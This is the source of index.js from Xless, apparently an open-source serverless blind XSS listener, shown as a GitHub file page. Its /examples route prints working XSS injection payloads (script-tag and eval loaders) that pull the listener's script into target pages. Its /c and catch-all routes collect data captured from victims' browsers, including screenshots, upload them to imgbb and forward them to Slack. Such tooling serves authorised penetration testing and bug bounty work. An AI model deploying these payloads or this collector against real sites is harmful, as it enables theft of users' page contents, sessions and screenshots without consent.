-
Notifications
You must be signed in to change notification settings - Fork 128
/
index.js
216 lines (176 loc) · 7.92 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
// Xless: The Serverlesss Blind XSS App.
// Version: v1.2
// Author: Mazin Ahmed <[email protected]>
const express = require("express");
var bodyParser = require("body-parser");
var cors = require("cors");
const process = require("process");
var request = require("request");
const path = require("path")
// Support local development with .env
require('dotenv').config()
const port = process.env.PORT || 3000;
const imgbb_api_key = process.env.IMGBB_API_KEY
const slack_incoming_webhook = process.env.SLACK_INCOMING_WEBHOOK
const app = express();
app.use(cors());
app.use(bodyParser.json({limit: '15mb'}));
app.use(bodyParser.urlencoded({limit: '15mb', extended: true}));
app.use(function (req, res, next) {
// Headers
res.header("Powered-By", "XLESS");
res.header("Access-Control-Allow-Origin", "*");
res.header("Access-Control-Allow-Methods", "GET,POST");
res.header("Access-Control-Allow-Headers", "Content-Type");
next();
});
function generate_blind_xss_alert(body) {
var alert = "*XSSless: Blind XSS Alert*\n";
for( let k of Object.keys(body)) {
if (k === "Screenshot") {
continue
}
if (body[k] === "") {
alert += "*"+k+":* " + "```None```" + "\n"
} else {
alert += "*"+k+":* " + "```" + body[k] + "```" + "\n"
}
}
return(alert)
}
function generate_callback_alert(headers, data, url) {
var alert = "*XSSless: Out-of-Band Callback Alert*\n"
alert += `• *IP Address:* \`${data["Remote IP"]}\`\n`
alert += `• *Request URI:* \`${url}\`\n`
// Add all the headers
for (var key in headers) {
if (headers.hasOwnProperty(key)) {
alert += `• *${key}:* \`${headers[key]}\`\n`
}
}
return(alert)
}
function generate_message_alert(body) {
var alert = "*XSSless: Message Alert*\n"
alert += "```\n" + body + "```\n";
return alert
}
async function uploadImage(image) {
// Return new promise
return new Promise(function(resolve, reject) {
const options = {
method: "POST",
url: "https://api.imgbb.com/1/upload?key=" + imgbb_api_key,
port: 443,
headers: {
"Content-Type": "multipart/form-data"
},
formData : {
"image" : image
}
}
// Do async request
request(options, function(err, imgRes, imgBody) {
if (err) {
reject(err);
} else {
resolve(imgBody);
}
})
})
}
app.get("/examples", (req, res) => {
res.header("Content-Type", "text/plain")
//var url = req.protocol + '://' + req.headers['host']
var url = 'https://' + req.headers['host']
var page = ""
page += `\'"><script src="${url}"></script>\n\n`
page += `javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'${url}\\';document.body.appendChild(a)')\n\n`
page += `<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "${url}");a.send();</script>\n\n`
page += `<script>$.getScript("${url}")</script>`
res.send(page)
res.end()
})
app.all("/message", (req, res) => {
var message = req.query.text || req.body.text
const alert = generate_message_alert(message)
data = {form: {"payload": JSON.stringify({"username": "XLess", "mrkdwn": true, "text": alert}) }}
request.post(process.env.SLACK_INCOMING_WEBHOOK, data, (out) => {
res.send("ok\n")
res.end()
});
})
app.post("/c", async (req, res) => {
let data = req.body
// Upload our screenshot and only then send the Slack alert
data["Screenshot URL"] = ""
if (imgbb_api_key && data["Screenshot"]) {
const encoded_screenshot = data["Screenshot"].replace("data:image/png;base64,","")
try {
const imgRes = await uploadImage(encoded_screenshot)
const imgOut = JSON.parse(imgRes)
if (imgOut.error) {
data["Screenshot URL"] = "NA"
}
else if(imgOut.data && imgOut.data.url_viewer) {
// Add the URL to our data array so it will be included on our Slack message
data["Screenshot URL"] = imgOut.data.url_viewer
}
}
catch (e) {
data["Screenshot URL"] = e.message
}
}
// Now handle the regular Slack alert
data["Remote IP"] = req.headers["x-forwarded-for"] || req.connection.remoteAddress
const alert = generate_blind_xss_alert(data)
data = {form: {"payload": JSON.stringify({"username": "XLess", "mrkdwn": true, "text": alert}) }}
request.post(slack_incoming_webhook, data, (out) => {
res.send("ok\n")
res.end()
});
})
/**
* Route to check the health of our xless listener
*/
app.get("/health", async (req, res) => {
let health_data = {}
// Check if the environemtn variables are set
health_data.IMGBB_API_KEY = (imgbb_api_key !== undefined)
health_data.SLACK_INCOMING_WEBHOOK = (slack_incoming_webhook !== undefined)
if (!health_data.IMGBB_API_KEY || !health_data.SLACK_INCOMING_WEBHOOK) {
res.json(health_data)
res.end()
}
const xless_logo = "iVBORw0KGgoAAAANSUhEUgAAAGkAAABfCAMAAADcfxm4AAABC1BMVEUAAADnTDznTDznTDwsPlAsPlDnTDznTDznTDznTDznTDznTDznTDwsPlAsPlDnTDznTDznTDwsPlDnTDwsPlAsPlDnTDwsPlDnTDznTDznTDwsPlAsPlDnTDznTDwsPlAsPlAsPlDnTDwsPlDnTDznTDwsPlAsPlDnTDznTDwsPlAsPlDnTDznTDznTDwsPlDnTDwsPlDnTDwsPlAsPlDnTDznTDwsPlDnTDznTDwsPlAsPlAsPlDnTDznTDznTDznTDwsPlDnTDwsPlDnTDwsPlAsPlAsPlAsPlDnTDwsPlDnTDznTDznTDwsPlAsPlAsPlAsPlAsPlDnTDznTDwsPlDmTDznTDwsPlAn7CxuAAAAV3RSTlMA/PkC+KTx3uzKllAQ51RGPhwWBwbzn5hhIRXj2tHFiYJbVkwoGBQMBNjFvr6SaGM3My4nGgr17efh3tS6tYx6qZKBaksvLB+1rayah25BEHdxOXSbeAW0nsk1AAAETElEQVRo3q2aeVPiQBDFOwki4ZBT5V4WD1DEVURABa/V9T73CN//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HfR35t7toJO1IZ4dGkIl8l8y2VQQ9TNaH51H+448FuGi7XBjINk3uULWcmdzP+PMKJOlXaMVYqpOJiN4YbcTYeHpEH1OMa3p3TqZDRvRUHe+XxuN0bvg8PW+UV6+re15P3o3dYeSzPdhI+jxCS1yOgkNlVppmP3W58O9B3OO/lRYpo7Rc6M+nHVERuRAsg78NYO6NTblYiXnL3C3g3F+dWkbCe/VJkZgZquO6ck43os6Upi6hVb89U0barT03Vr27lshTwTIGX7Dr3eVOhds5r10Ss2cwRomp+VdM3un6YnickNRRq8bGNg+GngjiP3rkaYdOTzPwmtXS7HCt6RYVDbghzTB/8BjE+qcM2S2aUAAAAASUVORK5CYII="
try {
const imgRes = await uploadImage(xless_logo)
const imgOut = JSON.parse(imgRes)
if (imgOut.error) {
health_data.imgbb_response = imgOut.error
}
else if(imgOut && imgOut.data && imgOut.data.url_viewer) {
// Add the URL to our health_data
health_data.imgbb_response = imgOut.data.url_viewer
}
}
catch (e) {
health_data.imgbb_response = e.message
}
res.json(health_data)
res.end()
})
app.all("/*", (req, res) => {
var headers = req.headers
var data = req.body
data["Remote IP"] = req.headers["x-forwarded-for"] || req.connection.remoteAddress
const alert = generate_callback_alert(headers, data, req.url)
data = {form: {"payload": JSON.stringify({"username": "XLess", "mrkdwn": true, "text": alert}) }}
request.post(slack_incoming_webhook, data, (out) => {
res.sendFile(path.join(__dirname + '/payload.js'))
});
})
app.listen(port, err => {
if (err) throw err
console.log(`> Ready On Server http://localhost:${port}`)
})